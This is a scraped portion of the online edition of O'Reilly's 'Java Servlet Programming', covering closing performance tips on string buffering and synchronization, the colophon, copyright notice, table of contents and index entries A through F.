output = new StringBuffer().append("<TITLE>").toString();
output = new StringBuffer(output).append("Hello, ").toString();
output = new StringBuffer(output).append(user).toString();
output = new StringBuffer(output).append("</TITLE>").toString();

When efficiency counts, rewrite the original code to look like the following, so just one StringBuffer and one String are created:

StringBuffer buf = new StringBuffer();
buf.append("<TITLE>");
buf.append("Hello, ").append(user);
buf.append("</TITLE);
output = buf.toString();

Note that using an array of bytes is even more efficient.

13.8.3. Limit Synchronization

Synchronize whenever necessary, but no more. Every synchronized block in a servlet slows the servlet's response time. Because the same servlet instance may handle multiple concurrent requests, it must, of course, take care to protect its class and instance variables with synchronized blocks. All the time one request thread is in a servlet's synchronized block, however, no other thread can enter the block. Therefore, it's generally best to keep these blocks as small as possible.

You should also take a look at the worst-case result of thread contention. If the worst case is bearable (as with the counter example from Chapter 3, "The Servlet Life Cycle"), you can consider removing synchronization blocks entirely. Also consider using the SingleThreadModel tag interface, where the server manages a pool of servlet instances to guarantee each instance is used at most by one thread at a time. Servlets that implement SingleThreadModel don't need to synchronize access to their instance variables.

13.8.4. Buffer Your Input and Output

Buffer your input and your output, all your storage files, any streams loaded from a database, and so on. This almost always improves performance, but the improvement can be especially profound with servlets. The reason is that reading and writing one unit at a time can slow down the entire server due to the frequent context switches that have to be made. Fortunately, you generally don't need to buffer when writing to a servlet's PrintWriter or ServletOutputStream or when reading from a servlet's BufferedReader or ServletInputStream. Most server implementations already buffer these streams.

Previous | Home | Next
13.7. Debugging | Book Index | A. Servlet API Quick Reference
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Colophon (Java Servlet Programming)

 Java™ Servlet Programming Java Servlet Programming Search this book

Colophon

Our look is the result of reader comments, our own experimentation, and feedback from distribution channels. Distinctive covers complement our distinctive approach to technical topics, breathing personality and life into potentially dry subjects.

The image on the cover of Java™ Servlet Programming is a copper teakettle.

The cover was designed by Hanna Dyer using a series design by Edie Freedman. The image was photographed by Kevin Thomas and manipulated in Adobe Photoshop by Michael Snow. The cover layout was produced with QuarkXPress 3.3 using the Bodoni Black font from URW Software and Bodoni BT Bold Italic from Bitstream. The inside layout was designed by Nancy Priest.

Text was produced in FrameMaker 5.5 using a template implemented by Mike Sierra. The heading font is Bodoni BT; the text font is New Baskerville. The illustrations that appear in the book were created in Macromedia Freehand 8 and Adobe Photoshop 5 by Robert Romano.

Paula Carroll was the production editor for Java Servlet Programming; Benchmark Productions provided editorial and production services.

Previous | Home
Index | Book Index
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


O'Reilly Copyright Statement (Java Servlet Programming)

 Java™ Servlet Programming Java Servlet Programming Search this book

Copyright © 2001 O'Reilly & Associates, Inc. All rights reserved.

Java™ Servlet Programming
by Jason Hunter with William Crawford
ISBN 1-56592-391-XE

Print book copyright © 1998 O'Reilly & Associates, Inc. All rights reserved.
Published by O'Reilly & Associates, Inc., 101 Morris Street, Sebastopol, CA 95472.

This electronic publication is intended for use by one individual. As such, you may make copies for your own personal use. However, you may not provide copies to others, or make this publication available to others over a LAN or other network. You may not reprint, offer for sale, or otherwise re-use material from this publication without the explicit written permission of O'Reilly & Associates, Inc.

You can purchase print editions of these books directly from O'Reilly & Associates, Inc. or from bookstores that carry O'Reilly & Associates books.

Logos and Trademarks

Java™ and all Java-based trademarks and logos are trademarks or registered trademarks of Sun Microsystems, Inc., in the United States and other countries. O'Reilly & Associates, Inc. is independent of Sun Microsystems.

The O'Reilly logo is a registered trademark of O'Reilly & Associates, Inc. Many of the designations used by manufacturers and sellers to distinguish their products are claimed as trademarks. Where those designations appear in this book, and O'Reilly & Associates, Inc. was aware of a trademark claim, the designations have been printed in caps or initial caps. The use of the Gabriel® Original Tinkertoy® Construction Set image in association with Java™ Distributed Computing is a trademark of O'Reilly & Associates, Inc.

Disclaimer

While every precaution has been taken in the preparation of this product, the publisher assumes no responsibility for errors or omissions, or for damages resulting from the use of the information contained herein.

Questions, comments, and suggestions to bookquestions@ora.com.

Previous | Home | Next
Table of Contents | Book Index | Preface
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Java Servlet Programming (Java Servlet Programming)

by Jason Hunter with William Crawford
ISBN 1-56592-391-XE
First edition, published October 1998.
(See the catalog page for this book.)

Search the text of Java™ Servlet Programming.

Table of Contents

Copyright
Preface
Chapter 1: Introduction
Chapter 2: HTTP Servlet Basics
Chapter 3: The Servlet Life Cycle
Chapter 4: Retrieving Information
Chapter 5: Sending HTML Information
Chapter 6: Sending Multimedia Content
Chapter 7: Session Tracking
Chapter 8: Security
Chapter 9: Database Connectivity
Chapter 10: Applet-Servlet Communication
Chapter 11: Interservlet Communication
Chapter 12: Internationalization
Chapter 13: Odds and Ends
Appendix A: Servlet API Quick Reference
Appendix B: HTTP Servlet API Quick Reference
Appendix C: HTTP Status Codes
Appendix D: Character Entities
Appendix E: Charsets
Index
Colophon

Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Index: Java Servlet Programming

Java™ Servlet Search this book

Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Previous | Home | Next
Appendix E: Charsets |  | Colophon
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: A

abbreviations of language names: 12.1.1. HTML Character Entities
12.2. Conforming to Local Customs
12.5.1. Language Preferences
Abstract Windowing Toolkit (AWT): 1.3.1. Portability
Accept-Charset header: 12.5.2. Charset Preferences
Accept-Encoding header: 6.2. Compressed Content
6.2. Compressed Content
Accept header: 2.1.1. Requests, Responses, and Headers
4.4.8. Request Headers
Accept-Language header: 12.5.1. Language Preferences
accept( ) method: 10.2.4.2. The superclass
access control, fine-grained: 8.4.2. Fine-grained Control
10.1. Communication Options
access controller: 8.4.3. Access Controllers
Acme.Serve, web site for information: 1.2.3. Embeddable Servlet Engines
ACTION attribute: 4.4.3. Path Information
7.3. URL Rewriting
Activated Intelligence's Java Image Management Interface (JIMI), web site for downloading: 6.1.1.1. A ``Hello World'' image
Active Server Pages, see ASP: 1.1.2.2. Active Server Pages
addCookie( ) method: 7.4.1. Working with Cookies
addNotify( ) method: 6.1.1.1. A ``Hello World'' image
age of cookie: 7.4.1. Working with Cookies
animation, text-based: 5.6.3. Client Pull
Apache web server and the mod_perl module: 1.1.1.2. mod_perl
APIs
HTTP Servlet, reference appendix: B. HTTP Servlet API Quick Reference
JavaMail: 13.2. Sending Email
JDBC: 9.2. The JDBC API
10.1.3. JDBC, RMI, and a Little CORBA
Servlet
description: 2.2. The Servlet API
reference appendix: A. Servlet API Quick Reference
SQL: 9.2. The JDBC API
10.1.3. JDBC, RMI, and a Little CORBA
<APPLET> tag: 2.4. Server-Side Includes
6.1.5.1. An image of a simple applet
applets
callbacks to methods: 10.1.3. JDBC, RMI, and a Little CORBA
10.3. Chat Server
10.3.1. The Design
10.3.5. The RMI Applet
communication with servers: 10.1. Communication Options
communication with servlets: 10.1.3. JDBC, RMI, and a Little CORBA
10.3. Chat Server
definition: 6.1.5. An Image of an Embedded Applet
invoking Java methods on the server: 10.1.3. JDBC, RMI, and a Little CORBA
parameters generated by servlets: 10.3.6. The Dispatcher
server-side: 0. Preface
trusted and untrusted: 10.1. Communication Options
application/x-www-form-urlencoded MIME type: 10.2.2.2. Back to the applet
ASCII character set: 12.3.1. Charsets
12.4. Multiple Languages
ASP support
web site for Java Extension Framework: 1.2. Support for Servlets
web site for Microsoft Internet Information Server: 1.1.2.2. Active Server Pages
web site for programming ASP: 1.1.2.2. Active Server Pages
web site for programming server-side JavaScript: 1.1.2.3. Server-side JavaScript
web site for web servers: 1.1.2.2. Active Server Pages
ATG's Dynamo Application Server, web site for information: 1.2.1. Standalone Servlet Engines
attributes, names of: 4.2.1. Getting Information About the Server
authentication
basic: 8.1. HTTP Authentication
client: 8.3.1. SSL Client Authentication
digest: 8.1. HTTP Authentication
passwords: 8.1. HTTP Authentication
retrieving information: 8.1.1. Retrieving Authentication Information
servlets: 8.1.2. Custom Authorization
authorization
advantages: 7.1. User Authorization
custom: 8.1.3. Form-based Custom Authorization
example: 7.1. User Authorization
in request header: 4.4.8. Request Headers
type of: 4.3.3. Getting Information About the User
Authorization header: 4.4.8. Request Headers
4.4.8. Request Headers
8.1.2. Custom Authorization
automatic reloading of servlets: 11.1. Servlet Manipulation
available-socket count: 6.3. Server Push

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: B

background processing: 3.5. Background Processing
Base64
decoder: 8.1.2. Custom Authorization
encoding: 8.1. HTTP Authentication
RFC 1521: 8.1.2. Custom Authorization
user name and password in header: 8.1.2. Custom Authorization
basic authentication: 8.1. HTTP Authentication
<BEAN> tag: 2.6.5. JavaServer Pages and JavaBeans
2.6.5. JavaServer Pages and JavaBeans
BEANNAME attribute: 2.6.5. JavaServer Pages and JavaBeans
Big5 (Chinese) charset: 12.3.1. Charsets
binary objects, large: 9.5.2. Binaries and Books
<BLINK> tag: 2.5. Servlet Chaining and Filters
2.5.1. Creating a Servlet Chain
13.3.1. Improving Deblink with Regular Expressions
blocks, synchronized: 3.1.4. A Simple Synchronized Counter
books
CGI Programming on the World Wide Web: 1.1.1. Common Gateway Interface
Database Programming with JDBC: 9.5.1. Stored Procedures
Database Programming with JDBC and Java: 9.2. The JDBC API
Developing Java Beans: 2.6.5. JavaServer Pages and JavaBeans
Exploring Java: 0.1.1. What You Need to Know
Java Cryptography: 8.2. Digital Certificates
Java Distributed Computing: 10.1.3. JDBC, RMI, and a Little CORBA
Java Examples in a Nutshell: 6.1.5.1. An image of a simple applet
Java in a Nutshell: 0.1.1. What You Need to Know
Java Native Methods: 13.5. Using Native Methods
Java Network Programming: 10.1.3. JDBC, RMI, and a Little CORBA
JDBC Database Access with Java: 9.2. The JDBC API
Mastering Regular Expressions: 13.3. Using Regular Expressions
New Hacker's Dictionary: 10.2.4.1. The servlet
SQL for Dummies: 9.1. Relational Databases
Technical Introduction to Digital Video: 6.1.3.1. Converting an image to grayscale
The Unicode Standard, Version 2.0: 12.1.2. Unicode Escapes
Understanding Digital Signatures: 8.2. Digital Certificates
Web Client Programming: 2.1. HTTP Basics
4.4.8. Request Headers
5.3. Using Persistent Connections
13.7.5. Examine the Client Request
Web Security & Commerce: 8. Security
Webmaster in a Nutshell: 4.4.8. Request Headers
bridge drivers: 9.2.1. JDBC Drivers
buffering input and output: 13.8.4. Buffer Your Input and Output
bug reports and typos, web site for reporting: 0.5. Request for Comments
bugs, preparing servlet for: 5.7. When Things Go Wrong
burritos, selling: 11.3.1.1. Using properties to sell burritos
11.3.2.1. Using a shared class to sell burritos
ByteArrayOutputStream class: 5.7.1. Status Codes

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: C

Cache-Control header: 5.6. HTTP Headers
caching images: 6.1.3.2. Caching a converted image
CallableStatement class: 9.5.1. Stored Procedures
callbacks to applet methods: 10.1.3. JDBC, RMI, and a Little CORBA
10.3. Chat Server
10.3.1. The Design
10.3.5. The RMI Applet
cascading style sheetsets (CSS): 5.4.2.3. Weather forecast using HTML generation creatively
case-insensitive search: 13.3.1. Improving Deblink with Regular Expressions
certificate authorities
Entrust Technologies: 8.2. Digital Certificates
Keywitness: 8.2. Digital Certificates
Thawte Consulting: 8.2. Digital Certificates
VeriSign: 4.4.10. Extra Attributes
8.2. Digital Certificates
8.3.1. SSL Client Authentication
certificates
client: 8.3.1. SSL Client Authentication
digital: 8.2. Digital Certificates
server: 8.3. Secure Sockets Layer (SSL)
CGI
connection to HTTP: 10.1.1. HTTP and Raw Socket Connections
definition: 1.1.1. Common Gateway Interface
environment variables: 4. Retrieving Information
FastCGI, web site for information: 1.1.1.1. FastCGI
hidden form fields: 7. Session Tracking
life cycle: 1.1.1. Common Gateway Interface
no counterpart to getPathInfo( ): 4.4.3.2. Ad hoc path translations
no counterpart to getScheme( ): 4.4.7. How It Was Requested
reference book: 1.1.1. Common Gateway Interface
security concerns: 8.4. Running Servlets Securely
session-tracking techniques: 7. Session Tracking
CGI Programming on the World Wide Web book: 1.1.1. Common Gateway Interface
chaining
images: 11.3.1.2. Faster image chaining
methods: 5.4.2.2. Weather forecast using HTML generation
servlets: 2.5. Servlet Chaining and Filters
4.4.8.2. Headers in servlet chains
character entities (&...;)
reference appendix: D. Character Entities
use of: 12.1.1. HTML Character Entities
character sets
difference from charsets: 12.3.1. Charsets
UCS-2: 12.4.1. UCS-2 and UTF-8
US-ASCII: 12.3.1. Charsets
12.4. Multiple Languages
UTF-8: 12.4.1. UCS-2 and UTF-8
characters, special: 12.1. Western European Languages
charsets
hidden form field: 12.6.1. The Hidden Charset
ISO-8859-5 (Cyrillic): 12.3.1. Charsets
ISO-8859-8 (Hebrew): 12.3.1. Charsets
ISO-8859-1 (Latin-1): 5.2. Sending a Normal Response
12.1.1. HTML Character Entities
12.1.2. Unicode Escapes
12.3.1. Charsets
12.6. HTML Forms
Microsoft Internet Explorer option: 12.3.1. Charsets
most include US-ASCII characters: 12.4. Multiple Languages
Netscape Navigator option: 12.3.1. Charsets
preferences: 12.5.2. Charset Preferences
reference appendix: E. Charsets
charting packages, web site for downloading: 6.1.1.2. A dynamically generated chart
chat server: 10.3. Chat Server
Chinese charset: 12.3.1. Charsets
class variable: 3.1.5. A Holistic Counter
classes
ByteArrayOutputStream: 5.7.1. Status Codes
CallableStatement: 9.5.1. Stored Procedures
com.oreilly.servlet
MultipartResponse: 6.3. Server Push
ServletUtils: 5.7.3. Reporting
Cookie: 2.2. The Servlet API
7.4.1. Working with Cookies
B. HTTP Servlet API Quick Reference
GenericServlet: 2.2. The Servlet API
A. Servlet API Quick Reference
HttpServlet: 2.2. The Servlet API
B. HTTP Servlet API Quick Reference
HttpServletRequest: B. HTTP Servlet API Quick Reference
identifying users: 4.3.3. Getting Information About the User
in javax.servlet.http: 2.2. The Servlet API
HttpServletResponse: B. HTTP Servlet API Quick Reference
in javax.servlet.http: 2.2. The Servlet API
setting HTTP response headers: 5.6.1. Setting an HTTP Header
uses: 2.3.1. Writing Hello World
HttpSession: 2.2. The Servlet API
7.5.1. Session-Tracking Basics
B. HTTP Servlet API Quick Reference
HttpSessionBindingEvent: B. HTTP Servlet API Quick Reference
HttpSessionBindingListener: B. HTTP Servlet API Quick Reference
HttpSessionContext: 7.5.5. Putting Sessions in Context
B. HTTP Servlet API Quick Reference
HttpUtils: B. HTTP Servlet API Quick Reference
Locale: 12.2. Conforming to Local Customs
12.2. Conforming to Local Customs
12.3.2. Writing Encoded Output
12.5.3. Resource Bundles
LocaleNegotiator: 12.5.5. The LocaleNegotiator Class
LocaleToCharsetMap: 12.5.5. The LocaleNegotiator Class
MultipartRequest: 4.4.9.3. Receiving files using the input stream
MultipartResponse: 6.3. Server Push
ParameterParser: 13.2.2. Emailing Form Data
PrintStream: 5.2. Sending a Normal Response
PrintWriter: 2.3.1. Writing Hello World
RemoteDaemonHttpServlet: 10.3. Chat Server
RemoteHttpServlet: 10.2.5.2. The superclass
SecurityManager: 8.4.1. The Servlet Sandbox
Servlet: A. Servlet API Quick Reference
ServletConfig: 3.3. Init and Destroy
3.3.1. A Counter with Init
3.3.1. A Counter with Init
A. Servlet API Quick Reference
ServletContext: A. Servlet API Quick Reference
ServletException: 5.7.4. Exceptions
A. Servlet API Quick Reference
ServletInputStream: A. Servlet API Quick Reference
ServletOutputStream: 5.2. Sending a Normal Response
A. Servlet API Quick Reference
ServletRequest: 2.2. The Servlet API
A. Servlet API Quick Reference
ServletResponse: 2.2. The Servlet API
A. Servlet API Quick Reference
ServletUtils: 5.7.3. Reporting
SingleThreadModel: A. Servlet API Quick Reference
singleton: 11.3.2.1. Using a shared class to sell burritos
11.3.2.2. Using a servlet as the shared object
11.3.3.1. Inheriting a shared reference
SmtpClient: 13.2.1. Using sun.net.smtp.SmtpClient
Statement: 9.2.3. Executing SQL Queries
stub and skeleton versions: 10.2.5.1. The servlet
subclassing: 5.4.2.3. Weather forecast using HTML generation creatively
superclass for socket connection details: 10.2.4.1. The servlet
support classes: 3.2. Servlet Reloading
UnavailableException: A. Servlet API Quick Reference
UnicastRemoteObject: 10.2.5.2. The superclass
URLConnection: 10.2.2.2. Back to the applet
ZipOutputStream: 6.2. Compressed Content
clearParameters( ) method: 9.2.8. Using Prepared Statements
client authentication, see authentication: 8.1.2. Custom Authorization
client certificates: 8.3.1. SSL Client Authentication
client machines, identifying: 4.3.1. Getting Information About the Client Machine
4.4.8. Request Headers
client pull: 5.6.3. Client Pull
6.3. Server Push
client servlets: 13.6. Acting as an RMI Client
cmd.exe problem in Windows NT: 13.4.4. Executing Finger with Redirected Output
CODEBASE attribute: 2.4. Server-Side Includes
6.1.5.1. An image of a simple applet
10.2.1. The Applet
collaboration: 11.3. Servlet Collaboration
color conversion, web site for information: 6.1.3.1. Converting an image to grayscale
color image, converting to grayscale: 6.1.3. Image Effects
Common Gateway Interface, see CGI: 1.1.1. Common Gateway Interface
communication
applet-server: 10.1. Communication Options
applet-servlet: 10.1.3. JDBC, RMI, and a Little CORBA
10.3. Chat Server
hybrid approach: 10.1.4. The Hybrid Approach
RMI: 10.2.5. RMI Communication
servlet-servlet: 11. Interservlet Communication
socket connections initiated by applet only: 10.2.4.1. The servlet
text-based: 10.2.2. Text-based HTTP Communication
com.oreilly.servlet package
MultipartResponse utility class: 6.3. Server Push
ServletUtils class: 5.7.3. Reporting
web site for source code: 0.2. About the Examples
compiler, rmic: 10.2.5.1. The servlet
10.3.5. The RMI Applet
compression formats
GZIP and ZIP, supported in JDK: 6.2. Compressed Content
negotiating which to use: 6.2. Compressed Content
x-gzip and x-compress: 6.2. Compressed Content
com.sun package: 4.2.1. Getting Information About the Server
4.4.10. Extra Attributes
concatenation, to be avoided: 13.8.2. Don't Append by Concatenation
configuration class: 3.3. Init and Destroy
3.3.1. A Counter with Init
3.3.1. A Counter with Init
configuration file: 3.3. Init and Destroy
conglomerate image: 6.1.2.2. Combining images
Connection class
getAutoCommit( ) method: 9.4.1. Using Transactions with JDBC
prepareStatement( ) method: 9.2.8. Using Prepared Statements
rollback( ) method: 9.4.1. Using Transactions with JDBC
setAutoCommit( ) method: 9.4.1. Using Transactions with JDBC
ConnectionPool class
getConnection( ) method: 9.4.3. Connection Pooling
returnConnection( ) method: 9.4.3. Connection Pooling
connections
Connection header: 5.6. HTTP Headers
Connection objects, reusing: 9.3.1. Reusing Database Connections
connection pool: 9.4.3. Connection Pooling
HTTP-CGI: 10.1.1. HTTP and Raw Socket Connections
maximum of 100: 9.4.4. Connections as Part of a Session
most limited JDBC resource: 9.4.4. Connections as Part of a Session
raw socket connections and HTTP: 10.1.1. HTTP and Raw Socket Connections
10.3.1. The Design
11.2.1. An Improved getServlet( )
secure connections: 4.4.7. How It Was Requested
see also databases and transactions: 9. Database Connectivity
connectivity
advantage of servlets: 9. Database Connectivity
servlets' power: 1.3.2. Power
constructors: 3.3. Init and Destroy
containsHeader( ) method: 5.6.1. Setting an HTTP Header
Content-Encoding header: 5.6. HTTP Headers
6.2. Compressed Content
6.2. Compressed Content
Content-Language header: 12.1.1. HTML Character Entities
Content-Type header: 2.1.1. Requests, Responses, and Headers
5.2. Sending a Normal Response
5.3. Using Persistent Connections
12.3.1. Charsets
conventions, typographical: 0.4. Conventions Used in This Book
Cookie class
constructor: 7.4.1. Working with Cookies
in javax.servlet.http package: 2.2. The Servlet API
reference: B. HTTP Servlet API Quick Reference
setComment( ) method: 7.4.1. Working with Cookies
setDomain( ) method: 7.4.1. Working with Cookies
setMaxAge( ) method: 7.4.1. Working with Cookies
setPath( ) method: 7.4.1. Working with Cookies
setSecure( ) method: 7.4.1. Working with Cookies
setValue( ) method: 7.4.1. Working with Cookies
setVersion( ) method: 7.4.1. Working with Cookies
cookies
comment field: 7.4.1. Working with Cookies
cookie central web site: 7.4. Persistent Cookies
Cookie class: 2.2. The Servlet API
7.4.1. Working with Cookies
B. HTTP Servlet API Quick Reference
domain restriction pattern: 7.4.1. Working with Cookies
example: 7.4.2. Shopping Using Persistent Cookies
maximum age: 7.4.1. Working with Cookies
persistence: 7.4. Persistent Cookies
secure channel: 7.4.1. Working with Cookies
setting values of: 7.4.1. Working with Cookies
size and quantity limits: 7.4.1. Working with Cookies
specification: 7.4. Persistent Cookies
version of: 7.4.1. Working with Cookies
where to send: 7.4.1. Working with Cookies
copying, unauthorized: 4.2.2. Locking a Servlet to a Server
CORBA (Common Object Request Broker Architecture) connectivity: 1.3.2. Power
10.1.3. JDBC, RMI, and a Little CORBA
counters, as examples: 3.1.3. A Simple Counter
4.4.6. An Improved Counter
country-code abbreviations: 12.2. Conforming to Local Customs
crashing servers: 3.3.2. A Counter with Init and Destroy
CREATE attribute: 2.6.5. JavaServer Pages and JavaBeans
createImage( ) method: 6.1.1.1. A ``Hello World'' image
6.1.2.1. Drawing over an image
6.1.4. Image Effects in Filter Chains
creation overhead: 3.1.2. Instance Persistence
credit-card checking: 9.4.1. Using Transactions with JDBC
cryptography, public-key: 8.2. Digital Certificates
custom authorization: 8.1.3. Form-based Custom Authorization
custom class loaders: 3.2. Servlet Reloading
customs, local: 12.2. Conforming to Local Customs

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: D

daemons
servlets: 10.2.4.2. The superclass
word origin: 10.2.4.1. The servlet
dangling pointers: 1.3.4. Safety
data charting: 1.3.2. Power
data compression: 1.3.2. Power
Database Management System, see RDBMS: 9.1. Relational Databases
Database Programming with JDBC and Java book: 9.2. The JDBC API
Database Programming with JDBC book: 9.5.1. Stored Procedures
databases
connections: 3.4. Single-Thread Model
4.1.1. Getting an Init Parameter
9.2.2. Getting a Connection
connectivity
advantage of servlets: 9. Database Connectivity
servlets' power: 1.3.2. Power
HTML integration with: 5.4.2.4. HTML generation and databases
updating: 9.2.7. Updating the Database
see also RDBMS: 9.1. Relational Databases
dates and times, localizing: 12.2. Conforming to Local Customs
DbConnectionBroker package, web site for: 9.4.3. Connection Pooling
debugging: 13.7. Debugging
degree symbol: 5.4.2.3. Weather forecast using HTML generation creatively
DELETE method: 2.1.3. Other Methods
DELETE statement: 9.1. Relational Databases
DES and asymmetric keys: 8.3. Secure Sockets Layer (SSL)
destroy( ) method: 3.3. Init and Destroy
3.3. Init and Destroy
3.3.2. A Counter with Init and Destroy
Developing Java Beans book: 2.6.5. JavaServer Pages and JavaBeans
dictionary servlet: 4.4.1. Request Parameters
digest authentication: 8.1. HTTP Authentication
digital certificates: 8.2. Digital Certificates
digital signatures: 8.4.1. The Servlet Sandbox
10.1. Communication Options
directives: 2.6.3. Expressions and Directives
dispatch servlet: 10.3.1. The Design
dividing by zero: 5.7. When Things Go Wrong
document location: 5.6. HTTP Headers
doDelete( ) method: 2.2. The Servlet API
doGet( ) method: 2.3.1. Writing Hello World
2.3.4. Handling POST Requests
2.3.5. Handling HEAD Requests
2.4.1. Writing a Server-Side Include
3.6. Last Modified Times
10.3.2. The Servlet
doHead( ) method: 2.2. The Servlet API
domain restriction pattern: 7.4.1. Working with Cookies
Domino Go Webserver, web site for information: 1.2.1. Standalone Servlet Engines
doOptions( ) method: 2.2. The Servlet API
doPost( ) method: 10.2.3.3. Posting a serialized object
10.3.2. The Servlet
doPut( ) method: 2.2. The Servlet API
doTrace( ) method: 2.2. The Servlet API
dynamic formatting: 12.2. Conforming to Local Customs
Dynamo Application Server, web site for information: 1.2.1. Standalone Servlet Engines

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: E

efficiency of servlets: 1.3.3. Efficiency and Endurance
elegance of servlet code: 1.3.5. Elegance
email servlets: 13.2. Sending Email
embedded applets: 6.1.5. An Image of an Embedded Applet
embedded servlets
limited response capability: 2.4.1. Writing a Server-Side Include
SSI functionality: 2.4. Server-Side Includes
encodeRedirectUrl( ) method: 7.5.7. Storing Session IDs
encodeUrl( ) method: 7.5.7. Storing Session IDs
encryption restrictions: 4.3.2. Restricting Access to the United States and Canada
Enterprise JavaBeans components: 1.3.2. Power
Enterprise Server
supports SSJS: 1.1.2.3. Server-side JavaScript
web site for information: 1.2.1. Standalone Servlet Engines
Entrust Technologies certificate authority: 8.2. Digital Certificates
environment variables: 4. Retrieving Information
error-handling mechanisms: 5.7.1. Status Codes
see also status codes: 5.7.1. Status Codes
error logs: 13.7.1. Check the Logs
EUC-KR (Korean) charset: 12.3.1. Charsets
event log: 7.5.9. Session Binding Events
event logs: 13.7.1. Check the Logs
examples
access counters: 3.1.3. A Simple Counter
4.4.6. An Improved Counter
bar chart: 6.1.1.2. A dynamically generated chart
Base64 encoding: 8.1.2. Custom Authorization
chat server: 10.3. Chat Server
client certificates, examining: 4.4.10. Extra Attributes
8.3.2. Retrieving SSL Authentication Information
color image, converting to grayscale: 6.1.3. Image Effects
compressed content: 6.2. Compressed Content
connection pool: 9.4.3. Connection Pooling
cookies: 7.4.2. Shopping Using Persistent Cookies
credit-card checking: 9.4.1. Using Transactions with JDBC
current time of day: 10.2. Daytime Server
database connections: 3.4. Single-Thread Model
4.1.1. Getting an Init Parameter
9.2.2. Getting a Connection
dictionary servlet: 4.4.1. Request Parameters
email: 13.2. Sending Email
embedding applet in servlet: 6.1.5.2. A generic applet viewer
encryption restrictions: 4.3.2. Restricting Access to the United States and Canada
GIF image generation: 6.1.1.1. A ``Hello World'' image
greeting user by name: 2.3.3. Handling Form Data
``Hello World'': 2.3.1. Writing Hello World
5.2. Sending a Normal Response
5.4.1. Generating Hello World
6.1.1.1. A ``Hello World'' image
12.1. Western European Languages
``Hello World'' in client's language: 12.5.4. Writing To Each His Own
``Hello World'' in Japanese: 12.3.2. Writing Encoded Output
``¡Hola Mundo!'': 12.1. Western European Languages
HTML generation: 5.4.2.2. Weather forecast using HTML generation
HTTP chat applet: 10.3.3. The HTTP Applet
identifying client machines: 4.3.2. Restricting Access to the United States and Canada
initialization (init) parameters: 4.1.2. Getting Init Parameter Names
input stream's content type: 4.4.9.2. Handling POST requests using the input stream
invalidating a session: 7.5.4. Manually Invalidating a Stale Session
7.5.6. Manually Invalidating All Stale Sessions
license key: 4.4.2. Generating a License Key
login page: 8.1.3. Form-based Custom Authorization
Oracle JDBC: 9.2.3. Executing SQL Queries
overwriting \\``CONFIDENTIAL\\'': 6.1.2.1. Drawing over an image
persistence: 5.3. Using Persistent Connections
personalized welcome: 4.3.4. A Personalized Welcome
random redirection: 5.6.2. Redirecting a Request
removing <BLINK>: 2.5.1. Creating a Servlet Chain
13.3.1. Improving Deblink with Regular Expressions
request headers: 4.4.8.1. Accessing header values
response headers: 2.1.1. Requests, Responses, and Headers
reusing abilities of another servlet: 11.2.2. Reusing ChatServlet
selling burritos: 11.3.1.1. Using properties to sell burritos
11.3.2.1. Using a shared class to sell burritos
server information: 4.2.1. Getting Information About the Server
servlet parameter values: 4.4.1. Request Parameters
session, reporting on: 7.5.8. Session Snoop
session tracking: 7.5.2. A Hit Count Using Session Tracking
shopping cart: 7.2. Hidden Form Fields
shopping cart with session tracking: 7.5.10. Shopping Using Session Tracking
SSL connection: 4.4.10. Extra Attributes
time in local zone: 2.4.1. Writing a Server-Side Include
unique Connection per client: 9.4.4. Connections as Part of a Session
uploading files: 4.4.9.3. Receiving files using the input stream
verifying servlets: 11.1.1. Viewing the Currently Loaded Servlets
weather forecasting: 5.4.2. Generating a Weather Forecast
web site demonstrating servlets: 0.2. About the Examples
web site for downloadable code: 0.2. About the Examples
exception handling: 5.7. When Things Go Wrong
exec( ) method: 13.4. Executing Programs
13.4.2. Executing the Finger Command
executeQuery( ) method: 9.2.3. Executing SQL Queries
executeUpdate( ) method: 9.2.8. Using Prepared Statements
executing queries: 9.2.3. Executing SQL Queries
exit( ) method: 2.3.5. Handling HEAD Requests
Expires header: 5.6. HTTP Headers
Exploring Java book: 0.1.1. What You Need to Know
expressions
regular: 13.3. Using Regular Expressions
searching for: 1.3.2. Power
extensibility of servlets: 1.3.7. Extensibility and Flexibility
extension APIs: 1.1.2.1. Server Extension APIs
extensions, file
.htm: 2.5.3. The Loophole
.html: 2.5.3. The Loophole
.jsp: 2.6.1. Using JavaServer Pages
.shtml: 2.4.1. Writing a Server-Side Include
2.5.2. Running Deblink
external programs
executing from servlets: 13.4. Executing Programs
finger: 13.4.1. Finger
extra path information: 4.4.3. Path Information

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: F

FastCGI, web site for information: 1.1.1.1. FastCGI
FastTrack Server: 1.1.2.3. Server-side JavaScript
fiendish rogues: 8. Security
file extensions
.htm: 2.5.3. The Loophole
.html: 2.5.3. The Loophole
.jsp: 2.6.1. Using JavaServer Pages
.shtml: 2.4.1. Writing a Server-Side Include
2.5.2. Running Deblink
file uploading: 4.4.9.3. Receiving files using the input stream
filter chains: 6.1.4. Image Effects in Filter Chains
filtering: 2.5. Servlet Chaining and Filters
finally block: 5.7.5. Knowing When No One's Listening
10.2.4.3. The applet
fine-grained access control: 8.4.2. Fine-grained Control
10.1. Communication Options
finger program: 13.4.1. Finger
form fields, hidden: 7.2. Hidden Form Fields
